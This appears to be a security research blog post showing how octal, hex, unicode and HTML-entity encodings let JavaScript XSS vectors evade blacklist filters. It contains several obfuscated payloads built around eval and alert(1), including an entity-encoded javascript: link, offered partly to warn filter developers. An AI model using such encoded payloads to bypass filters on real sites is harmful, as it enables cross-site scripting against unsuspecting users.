The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Pure-CSS 3D world collision detection How to write a Hackvertor tagIntroducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charsetTweetable PHP-Non AlphaMentalJS for PHP

    Javascript for hackers part 2

    By Gareth Heyes (@hackvertor)

    Published 18 years 8 months ago • Last updated March 22, 2025 • ⏱️ 4 min read

    ← Back to articles

    In my second part of Javascript for hackers I shall be showing how pointless it is to ban the use of document, location etc within form variables.

    You can create some truly amazing strings which are unreadable to the human eye, many more vectors are available on the sla.ckers thread I created but I'll show the juicy ones here.

    First off what has it to do with XSS you may ask? With these character combinations you can allow access to javascript objects that was previously filtered out. If you're developing any sort of serious blacklist filter then you need to consider as much as possible. In future sites may be communicating with each other via Javascript and to do this you must know what is harmful and what is not.

    Ok boring bit over with now onto the good stuff :) The following vectors were only tested on Firefox but the same sort of encoding may also work on other browsers with a bit of hacking.

    The basic vector

    <pre lang="javascript">0['eval']('alert(1)')</pre>

    In case you didn't know, in Firefox it's possible to call the eval function from pretty much anywhere. So in the example above zero could be 1 + 1 or new Date() or any expression at all. The first part therefore holds the reference to the eval function and the second part calls the function you want, in this case alert.

    Backslash escapes

    <pre lang="javascript">0['eva\l']('a\lert\(1\)')</pre>

    To take our vector a stage further we can also add backslash escapes, in javascript when a character is escaped that doesn't have special meaning it is returned as normal.

    Encoding strings

    Octal encoding, notice how the 'e' is created:-

    <pre lang="javascript">0['\145val']('alert(1)')</pre>

    Hex encoding:-

    <pre lang="javascript">0['\x65val']('alert(1)')</pre>

    Unicode:-

    <pre lang="javascript">0['\u0065val']('alert(1)')</pre>

    Javascript allows many different types of encoding within strings and it's quite easy to obscure the code. The above examples shows how each different encoding replaces the letter "e" in the vector. This could be applied to the entire string but I only replaced one letter to make it easy to see what is going on.

    Encoding nearly everything

    Unicode vector:-

    <pre lang="javascript">\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029</pre>

    The above vector in plain text:-

    <pre lang="javascript">alert(1)</pre>

    You can also encode javascript objects, functions or operators using unicode. The example above calls a simple "alert(1)" function. Why did I say nearly everything? It seems Javascript only allows you to encode the first quoting character of a string, the second must be in plain text in order for the vector to work. Look at the example below to understand this:-

    Encoded vector, notice the last single quote cannot be encoded:-

    <pre lang="javascript">\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0048\u0065\u006c\u006c\u006f'\u0029</pre>

    In plain text:-

    <pre lang="javascript">alert('Hello')</pre>

    The final vectors

    Vector 1:-

    <pre lang="javascript">\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029 </pre>

    Vector 2:-

    <pre lang="javascript">\u0030\u005b\u0022\x65\x76\x61\x6C"\u005d\u0028\u0027\x61\x6C\x65\x72\x74\x28\x31\x29'\u0029 </pre>

    Both vectors are based on the original one in the article with slight variations in quoting characters:-

    <pre lang="javascript">0['eval']('alert(1)')</pre>

    So as you can see from the above filtering out "document" won't get you anywhere, you need to consider all possible variations. Both vectors use a combination of unicode, hex and octal encoding to produce the required code.

    I'm not just gonna leave it there either :) there is one final vector which you have to consider, say for instance you filter out the "" character to prevent these sort of attacks, the url also allows entities so it's possible to encode the attacks mentioned again with html entities. For example:-

    <pre lang="javascript"> &lt;a href=&quot;javascript:\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029&quot;&gt;Test&lt;/a&gt; </pre>

    Becomes:-

    <pre lang="javascript"> &lt;a href=&quot;&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x5C&amp;#x75&amp;#x30&amp;#x30&amp;#x33&amp;#x31&amp;#x2B&amp;#x5C&amp;#x75&amp;#x30&amp;#x30&amp;#x33&amp;#x31&amp;#x5C&amp;#x75&amp;#x30&amp;#x30&amp;#x35&amp;#x62&amp;#x27&amp;#x5C&amp;#x31&amp;#x34&amp;#x35&amp;#x5C&amp;#x31&amp;#x36&amp;#x36&amp;#x5C&amp;#x31&amp;#x34&amp;#x31&amp;#x5C&amp;#x31&amp;#x35&amp;#x34&amp;#x27&amp;#x5C&amp;#x75&amp;#x30&amp;#x30&amp;#x35&amp;#x64&amp;#x5C&amp;#x75&amp;#x30&amp;#x30&amp;#x32&amp;#x38&amp;#x27&amp;#x5C&amp;#x31&amp;#x34&amp;#x31&amp;#x5C&amp;#x31&amp;#x35&amp;#x34&amp;#x5C&amp;#x31&amp;#x34&amp;#x35&amp;#x5C&amp;#x31&amp;#x36&amp;#x32&amp;#x5C&amp;#x31&amp;#x36&amp;#x34&amp;#x5C&amp;#x35&amp;#x30&amp;#x5C&amp;#x36&amp;#x31&amp;#x5C&amp;#x35&amp;#x31&amp;#x27&amp;#x5C&amp;#x75&amp;#x30&amp;#x30&amp;#x32&amp;#x39&quot;&gt;Test&lt;/a&gt;</pre>

    Crazy eh? That actually works heh. You may be wondering how I manage to create all these vectors?...well I can scan javascript code and unicode tables in my head and automatically perform the conversions in nano seconds...joke. I use my Hackvertor tool to do the hard work for me :D

    ← Back to articles